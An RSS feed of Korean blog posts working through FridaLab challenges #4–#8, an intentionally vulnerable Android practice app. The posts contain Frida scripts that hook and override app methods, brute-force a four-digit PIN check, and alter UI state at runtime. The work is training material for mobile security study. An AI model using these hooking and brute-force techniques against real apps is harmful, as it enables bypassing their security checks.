<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>wisdom_log</title>
        <link>https://velog.io/</link>
        <description>보안, 개발, 일상을 기록합니다</description>
        <lastBuildDate>Fri, 27 Dec 2024 07:18:40 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>wisdom_log</title>
            <url>https://images.velog.io/images/wisdom_lee/profile/929720ed-0529-418c-972e-1b956e32b567/me.jpg</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. wisdom_log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/wisdom_lee" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #8]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-8</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-8</guid>
            <pubDate>Fri, 27 Dec 2024 07:18:40 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Change ‘check’ button’s text value to ‘Confirm’

</aside>

<h2 id="분석">분석</h2>
<p>MainActivity에서 R.id.check의 text 값이 Confirm과 일치하는지 확인해주는 함수를 호출함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/9f1c956c-265c-4a16-9e58-ff4374541b9d/image.png" alt=""></p>
<p>조금 찾아보니 리소스 영역을 직접 바꾸는 것은 불가능하다고 하고, 대신 findViewById로 Button 객체를 불러와서 setText 함수를 호출함으로써 내부 텍스트를 변경해줄 수 있다고 함</p>
<p>관련 기법을 잘 몰라서 검색을 좀 해봤는데 MainActivity 인스턴스에 붙어서 findViewById로 내가 원하는 객체의 핸들러를 가져온 뒤, Java.cast(handle, klass) 함수를 호출하여 자바 클래스로 형변환을 하고, setText  함수를 직접 호출할 수 있나 봄</p>
<blockquote>
<p><strong><code>Java.cast</code></strong>는 주어진 객체를 다른 타입으로 캐스팅하는 데 사용됩니다. 이는 주로 <strong><code>findViewById</code></strong> 같은 메서드로 반환된 <strong><code>View</code></strong> 객체를 더 구체적인 뷰 타입, 예를 들어 <strong><code>Button</code></strong>이나 <strong><code>TextView</code></strong>로 캐스팅할 때 사용됩니다.</p>
</blockquote>
<p>R.id.check를 더블클릭 해보면 실제 리소스 ID 값을 확인할 수 있음. 이 숫자 값을 findViewById 인자로 넣어주면 View 객체를 불러올 수 있음</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/6452efb5-00b6-4e8d-a9e1-8b41cf4ebc5b/image.png" alt=""></p>
<p>이 View 객체를 Button 으로 캐스팅 하기 위해서는 Jadx-gui에서 import 해주는 부분을 참고하면 됨. String 타입은 import 구문에서 안 보이고 기본적으로 외워두는 것이 좋을 듯 (java.lang.String)</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/6d6cdc79-b0f0-4b92-b76b-51cb9b0e1bb8/image.png" alt=""></p>
<p>그리고 setText 함수를 호출할 때 바로 문자열을 넘겨주면 안 됨. 인자 또한 Java의 String클래스 타입이어야 함. Java.use(’java.lang.String’).$new(’문자열’); 이렇게 넘겨줘야 문자열 타입으로 인식하고 오류가 안 남</p>
<pre><code class="language-jsx">var Button = Java.use(&#39;android.widget.Button&#39;);
var buttonInstance = Java.cast(viewInstance, Button);
if (buttonInstance !== null) {
    var StringClass = Java.use(&#39;java.lang.String&#39;);
    buttonInstance.setText(StringClass.$new(&quot;Confirm&quot;));
} else {
    console.log(&quot;Casting failed.&quot;);
}</code></pre>
<p>$new는 Java.use로 불러온 프록시 객체로부터 새로운 인스턴스를 생성해주는 함수라고 함. Java.use와의 정확한 차이점은 아래 GPT의 답변을 참고</p>
<blockquote>
<p><strong><code>Java.use</code></strong>와 <strong><code>Java.use().$new</code></strong>는 서로 관련이 있지만, 각기 다른 역할을 수행하는 두 가지 주요 기능입니다. 이 두 기능을 이해하려면 Java의 리플렉션과 객체 생성 방식에 대한 기본적인 이해가 필요합니다. 자세히 설명해 드리겠습니다.</p>
<h3 id="javause"><strong>Java.use</strong></h3>
<p><strong><code>Java.use</code></strong>는 Frida의 Java 브리지를 통해 특정 Java 클래스에 접근할 수 있게 해주는 함수입니다. 이 함수는 해당 클래스의 메타데이터를 로드하여, 그 클래스의 인스턴스 메서드, 정적 메서드, 필드 등을 사용할 수 있는 프록시 객체를 반환합니다. 이 프록시 객체를 통해 클래스의 메서드를 호출하거나 필드 값을 변경할 수 있습니다.</p>
<p><strong>예제:</strong></p>
<pre><code class="language-jsx">javascriptCopy code
var Button = Java.use(&#39;android.widget.Button&#39;);
Button.setEnabled(true); // 정적 메서드 호출 (가정)</code></pre>
<p>여기서 <strong><code>Button</code></strong>은 <strong><code>android.widget.Button</code></strong> 클래스의 모든 메서드와 필드에 접근할 수 있는 프록시 객체입니다.</p>
<h3 id="javausenew"><strong>Java.use().$new</strong></h3>
<p><strong><code>Java.use().$new</code></strong>는 <strong><code>Java.use</code></strong>로 얻은 프록시 객체를 통해 해당 클래스의 새로운 인스턴스를 생성하는 함수입니다. Java의 <strong><code>new</code></strong> 키워드와 유사하게 작동하며, 클래스의 생성자를 호출하여 객체를 생성합니다. 이 방법은 주로 생성자에 인자가 필요한 경우 또는 새로운 객체 인스턴스가 필요할 때 사용됩니다.</p>
<p><strong>예제:</strong></p>
<pre><code class="language-jsx">javascriptCopy code
var StringClass = Java.use(&#39;java.lang.String&#39;);
var newString = StringClass.$new(&quot;Hello, World!&quot;); // 새 String 인스턴스 생성</code></pre>
<p>여기서 <strong><code>newString</code></strong>은 &quot;Hello, World!&quot; 값을 가진 새로운 Java 문자열 객체입니다.</p>
<h3 id="차이점"><strong>차이점</strong></h3>
<ul>
<li><strong>Java.use</strong>: 특정 클래스의 정적 구성요소(메서드, 필드)에 접근할 수 있게 해주는 프록시 객체를 반환합니다.</li>
<li><strong>Java.use().$new</strong>: 해당 클래스의 생성자를 호출하여 새로운 인스턴스를 생성합니다. 생성된 인스턴스를 통해 인스턴스 메서드와 필드에 접근할 수 있습니다.</li>
</ul>
</blockquote>
<h2 id="후킹-코드">후킹 코드</h2>
<pre><code class="language-jsx">
Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;getChall01Int returned: &#39; + result);
        send(&#39;modified result: 1\n&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3, 4, 6, 7, 8
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02\n&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true\n&#39;);
            //     return true;
            // }

            // 4
            send(&#39;call MainActivity::chall04(&quot;frida&quot;)\n&#39;)
            instance.chall04(&#39;frida&#39;);

            // 6
            var challenge_06 = Java.use(&#39;uk.rossmarks.fridalab.challenge_06&#39;);
            challenge_06.confirmChall06.implementation = function (i) {
                send(&#39;call callenge_06::confirmChall06 with i: &#39; + i + &#39;\n&#39;);
                send(&#39;timeStart: &#39; + this.timeStart.value);
                send(&#39;chall06: &#39; + this.chall06.value);

                send(&#39;call challenge_06:confirmChall06 with i: &#39; + this.chall06.value + &#39;\n&#39;);
                var result = this.confirmChall06(this.chall06.value);
                return result;
            };

            send(&#39;sleep 10 seconds&#39;);
            // Thread.sleep(10);

            send(&#39;call MainActivity::chall06&#39;);
            instance.chall06(10000);

            // 7
            var challenge_07 = Java.use(&#39;uk.rossmarks.fridalab.challenge_07&#39;);
            send(&#39;brute force check07Pin&#39;);
            for (let index = 1000; index &lt; 10000; index++) {
                var result = challenge_07.check07Pin(index.toString());
                if (result) {
                    send(&#39;check07Pin result: &#39; + index.toString() + &#39;\n&#39;);
                    instance.chall07(index.toString());
                }
            }

            // 8
            var checkButtonId = instance.findViewById(0x7f07002f);
            send(&#39;checkButton id: &#39; + checkButtonId);
            var checkButton = Java.cast(checkButtonId, Java.use(&#39;android.widget.Button&#39;));
            checkButton.setText(Java.use(&#39;java.lang.String&#39;).$new(&#39;Confirm&#39;));
            send(&#39;Change check button text value to Confirm \n&#39;);
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true\n&#39;);
        return true;
    };

    // 5
    MainActivity.chall05.implementation = function (str) {
        send(&#39;call MainActivity::chall05 with str: &#39; + str);
        send(&#39;call MainActivity::chall05 with str: frida\n&#39;);
        this.chall05(&#39;frida&#39;);
    };
});
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/911724b6-db94-4634-b9ac-161dc1a8738f/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/85243d6d-0563-4814-99d0-bb3215a75190/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #7]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-7</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-7</guid>
            <pubDate>Fri, 27 Dec 2024 07:17:10 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Bruteforce check07Pin() then confirm with chall07()

</aside>

<h2 id="분석">분석</h2>
<p>MainActivity 내 chall07() 함수가 존재하고 여기서 check07Pin 함수를 호출해준 뒤 플래그 값을 설정함</p>
<pre><code class="language-jsx">    public void chall07(String str) {
        if (challenge_07.check07Pin(str)) {
            this.completeArr[6] = 1;
        } else {
            this.completeArr[6] = 0;
        }
    }</code></pre>
<p>check07Pin은 전달 받은 문자열을 chall07 멤버변수와 비교. 이 값은 setChall07() 함수를 통해 랜덤 값으로 초기화 되는 문자열임</p>
<p>GPT에 물어보니 1000부터 9999까지의 값 중 랜덤한 정수를 뽑아 주는 코드라고 함</p>
<pre><code class="language-jsx">/* loaded from: classes.dex */
public class challenge_07 {
    static String chall07;

    public static void setChall07() {
        chall07 = BuildConfig.FLAVOR + (((int) (Math.random() * 9000.0d)) + 1000);
    }

    public static boolean check07Pin(String str) {
        return str.equals(chall07);
    }
}</code></pre>
<p>아무튼 chall07 문자열은 onCreate 함수에서 setChall07 함수가 호출됨으로써 초기화됨</p>
<p>내가 해야 할 것은 check07Pin 함수를 1000부터 9999까지 호출해보면서 true가 반환될 때의 값을 MainActivity의 chall07 인자로 던져주면 됨</p>
<h2 id="후킹-코드">후킹 코드</h2>
<pre><code class="language-jsx">
Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;getChall01Int returned: &#39; + result);
        send(&#39;modified result: 1\n&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3, 4, 6
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02\n&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true\n&#39;);
            //     return true;
            // }

            // 4
            send(&#39;call MainActivity::chall04(&quot;frida&quot;)\n&#39;)
            instance.chall04(&#39;frida&#39;);

            // 6
            var challenge_06 = Java.use(&#39;uk.rossmarks.fridalab.challenge_06&#39;);
            challenge_06.confirmChall06.implementation = function (i) {
                send(&#39;call callenge_06::confirmChall06 with i: &#39; + i + &#39;\n&#39;);
                send(&#39;timeStart: &#39; + this.timeStart.value);
                send(&#39;chall06: &#39; + this.chall06.value);

                send(&#39;call challenge_06:confirmChall06 with i: &#39; + this.chall06.value + &#39;\n&#39;);
                var result = this.confirmChall06(this.chall06.value);
                return result;
            };

            send(&#39;sleep 10 seconds&#39;);
            Thread.sleep(10);

            send(&#39;call MainActivity::chall06&#39;);
            instance.chall06(10000);

            **// 7
            var challenge_07 = Java.use(&#39;uk.rossmarks.fridalab.challenge_07&#39;);
            send(&#39;brute force check07Pin&#39;);
            for (let index = 1000; index &lt; 10000; index++) {
                var result = challenge_07.check07Pin(index.toString());
                if (result) {
                    send(&#39;check07Pin result: &#39; + index.toString());
                    instance.chall07(index.toString());
                }
            }**
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true\n&#39;);
        return true;
    };

    // 5
    MainActivity.chall05.implementation = function (str) {
        send(&#39;call MainActivity::chall05 with str: &#39; + str);
        send(&#39;call MainActivity::chall05 with str: frida\n&#39;);
        this.chall05(&#39;frida&#39;);
    };

});
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/f4a7c19d-d76b-48c0-b491-479fb19ca1bb/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/9b606c9e-1438-401e-b9a1-033d760c667d/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #6]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-6</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-6</guid>
            <pubDate>Fri, 27 Dec 2024 07:15:50 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Run call06() after 10 seconds with correct value

</aside>

<h2 id="분석">분석</h2>
<p>우선 challenge_06 클래스는 아래와 같음</p>
<ul>
<li>startTime: 현재 시간을 timeStart 멤버변수에 저장</li>
<li>confirmChall06: 애플리케이션이 실행된 후 10초가 경과했는지, 그리고 chall06 변수와 인자로 전달 받은 i가 동일한지 확인</li>
<li>addChall06: chall06 멤버변수에 인자로 전달 받은 i 값을 더해줌. 만약 9000보다 값이 큰 경우 i값을 그대로 대입</li>
</ul>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/6080804e-a39a-491c-8844-b427f7e1461e/image.png" alt=""></p>
<p>MainActivity의 onCreate 함수에서 startTime 함수를 호출하고, 랜덤 값을 로드한 뒤 addChall06 함수를 두 번 호출함. addChall06 함수가 onCreate 함수 내에서 바로 1번, 그리고 Timer를 활용해 10초 뒤 1번 호출되도록 구현되어 있음</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/62915a8c-7a89-4f16-a9eb-dc798016646e/image.png" alt=""></p>
<p>confirmChall06 로직상 실행 후 10초가 경과해야 최소한의 &amp;&amp; 조건을 충족할 수 있으므로, chall06 값 또한 바로 가져오지 말고 10초 뒤에 동적으로 가져와야 함 (랜덤 값을 더해주는 방식이어서 정적으로 확인 불가)</p>
<p>그리고 confirmChall06을 호출하는 함수는 MainActivity 내 아래와 같이 존재하는데, xrefs가 없어서 10초 뒤 확인한 chall06 값을 인자로 넣어 직접 호출해 줘야 함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/41051adb-bb1f-4245-9c45-53741035b066/image.png" alt=""></p>
<p>이제 분석한 내용을 바탕으로 코드를 작성하면 됨</p>
<h2 id="후킹-코드">후킹 코드</h2>
<p>이미 MainActivity에서 생성된 인스턴스를 활용해야 하므로 Java.choose 함수를 이용함</p>
<p>먼저 10초 슬립 후 임의의 숫자 값과 함께 chall06을 호출 → chall06에서 내부적으로 confirmChall06 호출 → chall06 값을 불러와서 그대로 confirmChall06 다시 호출 (임의의 숫자 값을 실제 chall06 값으로 바꿔치기)</p>
<pre><code class="language-jsx">Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;getChall01Int returned: &#39; + result);
        send(&#39;modified result: 1\n&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3, 4, 6
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02\n&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true\n&#39;);
            //     return true;
            // }

            // 4
            send(&#39;call MainActivity::chall04(&quot;frida&quot;)\n&#39;)
            instance.chall04(&#39;frida&#39;);

            // 6
            var challenge_06 = Java.use(&#39;uk.rossmarks.fridalab.challenge_06&#39;);
            challenge_06.confirmChall06.implementation = function (i) {
                send(&#39;call callenge_06::confirmChall06 with i: &#39; + i + &#39;\n&#39;);
                send(&#39;timeStart: &#39; + this.timeStart.value);
                send(&#39;chall06: &#39; + this.chall06.value);

                send(&#39;call challenge_06:confirmChall06 with i: &#39; + this.chall06.value + &#39;\n&#39;);
                var result = this.confirmChall06(this.chall06.value);
                return result;
            };

            send(&#39;sleep 10 seconds&#39;);
            Thread.sleep(10);

            send(&#39;call MainActivity::chall06&#39;);
            instance.chall06(10000);
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true\n&#39;);
        return true;
    };

    // 5
    MainActivity.chall05.implementation = function (str) {
        send(&#39;call MainActivity::chall05 with str: &#39; + str);
        send(&#39;call MainActivity::chall05 with str: frida\n&#39;);
        this.chall05(&#39;frida&#39;);
    };
});
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/b2c425b5-85d2-42af-ad9e-4d4d44b9d1a2/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/48e0d10c-80d5-43d6-8a09-f15164623a8f/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #5]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-5</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-5</guid>
            <pubDate>Fri, 27 Dec 2024 07:14:06 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Always send ‘frida’ to chall05()

</aside>


<h2 id="분석">분석</h2>
<p>chall05() 함수는 chall04()와 비슷하게 인자로 들어온 문자열이 ‘frida’인지 검사하고 플래그 값을 세팅함</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/14d5dc9a-9efc-484e-ae0d-fec0903b6930/image.png" alt=""></p>
<p>MainActivity의 onCreate에서 바로 호출되므로 Java.use도 사용 가능할 것으로 보임</p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/a09a7554-b70d-4932-b188-b12101ad30bb/image.png" alt=""></p>
<h2 id="후킹-코드">후킹 코드</h2>
<p>간단하게 Java.use 를 통해 chall05 구현부에서 인자 값을 frida로 호출하게끔 수정하여 해결</p>
<pre><code class="language-python">Java.perform(function () {
    // 1
    var challenge_01 = Java.use(&#39;uk.rossmarks.fridalab.challenge_01&#39;);
    challenge_01.getChall01Int.implementation = function () {
        send(&#39;challenge_01::getChall01Int called&#39;);
        var result = this.getChall01Int();
        send(&#39;getChall01Int returned: &#39; + result);
        send(&#39;modified result: 1\n&#39;);
        return 1; // Or challenge_01.chall01.value = 1
    };

    // 2, 3, 4
    Java.choose(&#39;uk.rossmarks.fridalab.MainActivity&#39;, {
        onMatch: function (instance) {
            send(&#39;Found instance: &#39; + instance);

            // 2
            send(&#39;call MainActivity::chall02&#39;);
            instance.chall02();

            // 3
            // instance.chall03.implementation = function () {
            //     send(&#39;call MainActivity::chall03&#39;);
            //     var result = instance.chall03();
            //     send(&#39;chall03 returned: &#39; + result);
            //     send(&#39;modified result: true\n&#39;);
            //     return true;
            // }

            // 4
            send(&#39;call MainActivity:chall04(&quot;frida&quot;)\n&#39;)
            instance.chall04(&#39;frida&#39;);
        },
        onComplete: function () { }
    });

    // 3
    var MainActivity = Java.use(&#39;uk.rossmarks.fridalab.MainActivity&#39;);
    MainActivity.chall03.implementation = function () {
        send(&#39;call MainActivity::chall03&#39;);
        var result = this.chall03();
        send(&#39;chall03 returned: &#39; + result);
        send(&#39;modified result: true\n&#39;);
        return true;
    };

    **// 5
    MainActivity.chall05.implementation = function (str) {
        send(&#39;call MainActivity::chall05 with str: &#39; + str);
        send(&#39;call MainActivity::chall05 with str: frida\n&#39;);
        this.chall05(&#39;frida&#39;);
    };**
});
</code></pre>
<h2 id="실행-결과">실행 결과</h2>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/b7cd9ef5-c831-4223-8f8f-f998efb17f15/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/wisdom_lee/post/f5128299-f20e-41a0-8bb4-e72ee41e2857/image.png" alt=""></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[FridaLab 문제 풀이 #4]]></title>
            <link>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-4</link>
            <guid>https://velog.io/@wisdom_lee/FridaLab-%EB%AC%B8%EC%A0%9C-%ED%92%80%EC%9D%B4-4</guid>
            <pubDate>Fri, 27 Dec 2024 07:11:51 GMT</pubDate>
            <description><![CDATA[<h2 id="준비">준비</h2>
<ol>
<li>Android Studio + AVD (Pixel 5, API 31, x86_64)<ol>
<li><a href="https://www.google.com/aclk?sa=l&amp;ai=DChcSEwj3rbHfjKGFAxXxLHsHHU7LBAAYABAAGgJ0bQ&amp;ase=2&amp;gclid=CjwKCAjwtqmwBhBVEiwAL-WAYThG6mgVwf_gxchi9NabQ847InoIOTJAiAiyIUjXWX95D_uehk-pIhoCWL0QAvD_BwE&amp;sig=AOD64_0fxhKIDWEGL0EuHDZsU_EQOrW7EA&amp;q&amp;nis=6&amp;adurl&amp;ved=2ahUKEwjZ46nfjKGFAxXXsVYBHVlZAyIQ0Qx6BAgCEAE">Download Android Studio</a></li>
</ol>
</li>
<li>frida, frida-server (16.2.1)<ol>
<li><a href="https://github.com/frida/frida">https://github.com/frida/frida</a></li>
</ol>
</li>
<li>Jadx-gui<ol>
<li><a href="https://github.com/skylot/jadx">https://github.com/skylot/jadx</a></li>
</ol>
</li>
<li>adb<ol>
<li><a href="https://developer.android.com/tools/releases/platform-tools?hl=ko">https://developer.android.com/tools/releases/platform-tools?hl=ko</a></li>
</ol>
</li>
<li>Fridalab.apk<ol>
<li><a href="https://rossmarks.uk/blog/fridalab/">https://rossmarks.uk/blog/fridalab/</a></li>
</ol>
</li>
</ol>
<h2 id="문제">문제</h2>
<aside>
❓ Send ‘frida’ to chall04()

</aside>


<h2 id="분석">분석</h2>
<p>MainActivity 내 chall04 함수. str 인자를 받고 frida와 일치하는지 비교한 뒤 일치하면 플래그 값을 1로 설정해 주고 있음</p>
